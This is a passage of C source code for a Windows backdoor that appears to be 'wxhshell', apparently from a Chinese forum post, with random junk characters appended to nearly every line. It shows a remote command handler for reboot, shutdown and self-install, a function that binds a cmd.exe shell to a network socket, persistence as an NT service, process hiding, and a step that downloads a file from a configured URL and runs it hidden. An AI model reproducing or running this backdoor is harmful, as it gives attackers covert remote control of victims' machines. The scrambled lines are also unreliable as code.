      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nb_^3K]r  
    break; S;Z3v)E-f  
  } cN7z(I0[  
  // 安装 Qc;[mxQe  
  case 'i': { L~{Vt~H9"  
    if(Install()) DBBBpb~~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LU,"i^T  
    else 8 tygs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 50ew/fZj|  
    break; SECQVA_y`  
    } P\4tK<P|  
  // 卸载 5 ek %d  
  case 'r': { 3DAGW"F  
    if(Uninstall()) R.H\b!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IZ0$=aB7  
    else qW~ R-g]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AaYrVf 9!  
    break; wDSUMB<?  
    } [4Faq3T"  
  // 显示 wxhshell 所在路径 RzRvu]]8  
  case 'p': { )H9*NB8%  
    char svExeFile[MAX_PATH]; iM|"H..  
    strcpy(svExeFile,"\n\r"); d^5SeCs6  
      strcat(svExeFile,ExeFile); Z 'NbHwW}  
        send(wsh,svExeFile,strlen(svExeFile),0); NWHH.1|  
    break; g#b u_E61B  
    } bo;pj$eR3R  
  // 重启 i!W8Q$V  
  case 'b': { A>t!/_"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a\69,%!:  
    if(Boot(REBOOT)) :"P hkR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); //M4Sq(  
    else { 6IY}SI0N  
    closesocket(wsh); Ui |a}`c  
    ExitThread(0); zrU$SWU  
    } LAY)">*49H  
    break; oT)VOkFq  
    } gZ"{{#:}  
  // 关机 ab aQJ|  
  case 'd': { boF4d'g"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q 9brpbg_  
    if(Boot(SHUTDOWN)) 5uV"g5?w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :.S41S   
    else { H'0*CiHes  
    closesocket(wsh); ]X: rby$  
    ExitThread(0); nn)`eR&  
    } ^s@*ISY  
    break; 9U<)_E<y  
    } 7#9'2dI  
  // 获取shell rZ.a>'T4  
  case 's': { 6Sb'Otw.  
    CmdShell(wsh); OgXZ-<'  
    closesocket(wsh); " T a9  
    ExitThread(0); K"k"ml<4E  
    break; :Q r7:$S^  
  } I4<{R  
  // 退出 7 xp1\j0  
  case 'x': { kh?#={]Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e.}3OK  
    CloseIt(wsh); CS;W)F  
    break; ^KZAYB9C  
    } dx13vZ3[U  
  // 离开 }&(E#*>x  
  case 'q': { lNaez3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2[LX\  
    closesocket(wsh); nrS[7~  
    WSACleanup(); ~t${=o430  
    exit(1); 2-6.r_  
    break; XY!{g(  
        } #U$YZ#B  
  } /+4^.Q*  
  } Lf; ta  
@7Rt4}g  
  // 提示信息 %89" A'g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {V%%^Zhwy  
} 8L7Y A)u  
  } EFRZ% Y  
0r0\b*r  
  return; qP;{3FSkAF  
} ^fE\S5P  
&N/|(<CB  
// shell模块句柄 . QQ?w  
int CmdShell(SOCKET sock) =M1a0i|d  
{ )e|$K= D  
STARTUPINFO si; 8Fd1;G6  
ZeroMemory(&si,sizeof(si)); &h7smZO5j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s`Yu"s 8}4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o\@ A2r3  
PROCESS_INFORMATION ProcessInfo; +QIGR'3u  
char cmdline[]="cmd"; QH7V_#6bKP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L876$  
  return 0; L9{mYA]q  
} yD3bl%uZ  
a%Z4_ToLZ  
// 自身启动模式 `W"a! ,s2  
int StartFromService(void) Vq3]7l  
{ @tr&R==([  
typedef struct <pTQpU  
{ ch0oFc$  
  DWORD ExitStatus; xta}4:d-Y  
  DWORD PebBaseAddress; $z2 xZqe  
  DWORD AffinityMask; .N5h V3  
  DWORD BasePriority; n0+g]|a AF  
  ULONG UniqueProcessId; t4f (Y,v  
  ULONG InheritedFromUniqueProcessId; z'?7]C2b  
}   PROCESS_BASIC_INFORMATION; nd$H 3sf  
Bmx(qE  
PROCNTQSIP NtQueryInformationProcess; N{1.g S  
FF%\g J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U6c)"^\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G0I~&?nDa  
yxaT7Oqh%  
  HANDLE             hProcess; ZR!cQ oV=  
  PROCESS_BASIC_INFORMATION pbi; |MTpU@`p5  
F^.om2V|9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 94~"U5oQ:  
  if(NULL == hInst ) return 0; =oo[ Eyr  
a4A`cUt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r+t ,J|V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z $9@j2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0M$#95n  
GXT]K>LA  
  if (!NtQueryInformationProcess) return 0; D ?Nd; [  
&_"ORqn&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \ V[;t-  
  if(!hProcess) return 0;  FovE$Dj]  
4=u+ozCG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;Ay >+M2O  
+<S9E'gT3V  
  CloseHandle(hProcess); -Nsk}Rnk*  
=LlLE<X"%x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CTl(_g  
if(hProcess==NULL) return 0; lbQ6 a  
lemVP'cn  
HMODULE hMod; GxYW4b  
char procName[255]; dv"as4~%  
unsigned long cbNeeded; 1S+;ZMk  
tRLE,(S,-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rlR !&  
{/-y>sm  
  CloseHandle(hProcess); 6D/uo$1Y  
q}#iV$dAj  
if(strstr(procName,"services")) return 1; // 以服务启动 LMAmpVo  
PXV)NC  
  return 0; // 注册表启动 Ba/RO36&c  
} JDkCUN5  
znt)]>f#  
// 主模块 ~V @;(_T  
int StartWxhshell(LPSTR lpCmdLine) &svx@wW  
{ ~ct2`M$TL(  
  SOCKET wsl; F 4GP7]  
BOOL val=TRUE; 'z)hG#{I  
  int port=0; (jMtN?&0H-  
  struct sockaddr_in door; DH:J  
DeH0k[o  
  if(wscfg.ws_autoins) Install(); T_eJ}(p  
@zo7.'7P   
port=atoi(lpCmdLine); 92ZWU2"  
w'A tf  
if(port<=0) port=wscfg.ws_port; :d.1;st  
B1E$v(P3M  
  WSADATA data; N*Yy&[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  #;`Oj  
{{32jU7<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,"B?_d6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fO6[!M(  
  door.sin_family = AF_INET; Hk@r5<{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uG;?vvg>  
  door.sin_port = htons(port); .hKhrcQp  
7!p LK&_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H#35@HF*o  
closesocket(wsl); Kv}k*A% S  
return 1; Zb."*zL  
} YJd8l>mz  
<|a=hHPi:  
  if(listen(wsl,2) == INVALID_SOCKET) { zDB" r  
closesocket(wsl); (VyA6a8  
return 1; UgR :qjI  
} I FsE!oDs4  
  Wxhshell(wsl); b vRB  
  WSACleanup(); \b$<J.3  
-^Xy%  
return 0; j9:/RJS  
bG(x:Py&  
} za T_d/?J  
#F!Kxks  
// 以NT服务方式启动 m<{"}4'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /YFa ;2 W  
{ _42Z={pZZq  
DWORD   status = 0; vG~+r<:  
  DWORD   specificError = 0xfffffff; <4c%Q)  
 MGQ,\55"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r2nBWA3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X'x3esw w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9/@ &*  
  serviceStatus.dwWin32ExitCode     = 0; P`EgA  
  serviceStatus.dwServiceSpecificExitCode = 0; F;P5D<  
  serviceStatus.dwCheckPoint       = 0; !" E-\cc'  
  serviceStatus.dwWaitHint       = 0; ($62o&I  
0/Z !5-.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 26.)Ur<F  
  if (hServiceStatusHandle==0) return; s]Gd-j  
p x#suy  
status = GetLastError(); !^iwQ55e2A  
  if (status!=NO_ERROR) 90fs:.  
{ +AoP{ x$Ia  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1HbFtU`y~  
    serviceStatus.dwCheckPoint       = 0; ?v4E<iXs  
    serviceStatus.dwWaitHint       = 0; d)tiO2W  
    serviceStatus.dwWin32ExitCode     = status; s?c JV `  
    serviceStatus.dwServiceSpecificExitCode = specificError; OPuj|%Wgw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T@P!L  
    return; *~2cG;B"e  
  } jXp. qK\"  
Nqc p1J"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mb1Vu  
  serviceStatus.dwCheckPoint       = 0; m[:K"lZ ]2  
  serviceStatus.dwWaitHint       = 0; 6+3$:?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ubbnFE&PD  
} :Fe_,[FR  
{x {H$f  
// 处理NT服务事件,比如:启动、停止 Vb!O8xV4;+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xS8,W  
{ 3v1 7"  
switch(fdwControl) ){P^P!s$  
{ BpH%STEN  
case SERVICE_CONTROL_STOP: g jxS  
  serviceStatus.dwWin32ExitCode = 0; "3}<8 c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  3-|3`(  
  serviceStatus.dwCheckPoint   = 0; Ur!~<4GO  
  serviceStatus.dwWaitHint     = 0; ]Blf9h7  
  { J,5+47b1}R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fu4!t31  
  } SK R1E];4  
  return; LZ<[ll#C  
case SERVICE_CONTROL_PAUSE: S6sq#kcH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; opp!0:jS*  
  break; q3h'l,  
case SERVICE_CONTROL_CONTINUE: $1Z6\G O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A@$kLex  
  break; rs]I  
case SERVICE_CONTROL_INTERROGATE: Ew$I\j*  
  break; -RMi8{  
}; <)U4Xz?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U|5-0u5  
} 6 BAW  
O0hu qF$K  
// 标准应用程序主函数 pe.QiMW{8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I=Ij dwbH  
{ <9eu1^g  
QlEd6^&  
// 获取操作系统版本 P^)q=A8Z#  
OsIsNt=GetOsVer(); (= ;N{u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F)Oe9x\/  
2k5/SV X  
  // 从命令行安装 vmX"+sHz$]  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y)|N"f;  
27A!\pn  
  // 下载执行文件 rHz||jjU  
if(wscfg.ws_downexe) { _}gtcyx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )uheV,ZnY  
  WinExec(wscfg.ws_filenam,SW_HIDE); d@ J a}`  
} N#ioJ^}n:  
c#cx>wq9  
if(!OsIsNt) { 'V&Y[7Aeq  
// 如果时win9x,隐藏进程并且设置为注册表启动 M;.ZM<Ga  
HideProc(); L'Q<>{;Ig  
StartWxhshell(lpCmdLine); =L]Q2V}  
} Um.qRZ?  
else ,wAz^cK|  
  if(StartFromService()) Z`Z5sj 4{  
  // 以服务方式启动 F0lOlS   
  StartServiceCtrlDispatcher(DispatchTable); Jxl6a:  
else q(IQa@$SR  
  // 普通方式启动 rcN 9.1  
  StartWxhshell(lpCmdLine); z(13~38+  
& E}mX]t  
return 0; ZH 6\><My  
}
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只看该作者 1 发表于: 2006-10-10
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